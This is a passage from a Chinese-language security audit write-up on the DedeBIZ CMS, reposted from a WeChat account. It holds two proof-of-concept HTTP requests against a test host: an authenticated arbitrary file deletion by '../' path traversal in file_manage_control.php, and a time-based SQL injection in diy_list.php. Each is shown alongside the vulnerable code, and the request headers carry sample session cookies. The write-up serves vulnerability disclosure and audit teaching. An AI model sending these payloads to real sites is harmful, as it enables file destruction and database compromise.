?filename=，一些 js 文件中可能会包含对文件处理的操作，搜索到后就可以直接进行尝试。）授权任意文件删除
GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close
srcadminfile_manage_control.php
file_manage_control.php 处理 fmdo=del 请求时，由于 DeleteFile 方法直接拼接 filename 参数生成完整路径并调用 unlink 删除文件，缺乏路径校验，导致攻击者可以构造 ../ 进行目录遍历，删除任意文件。通过 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt 请求，利用 filename=../1.txt 逃出受限目录，删除站点根目录下的 1.txt 文件。授权 SQL 注入
POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
src/admin/diy_list.php
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";
if ($dsql->ExecuteNoneQuery($query)) {
showmsg('删除成功', "diy_list.php?action=list&diyid={$diy->diyid}");
} else {
showmsg('删除失败', "diy_list.php?action=list&diyid={$diy->diyid}");
}
原文始发于微信公众号（蚁景网络安全）：DedeBIZ系统 审计小结
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论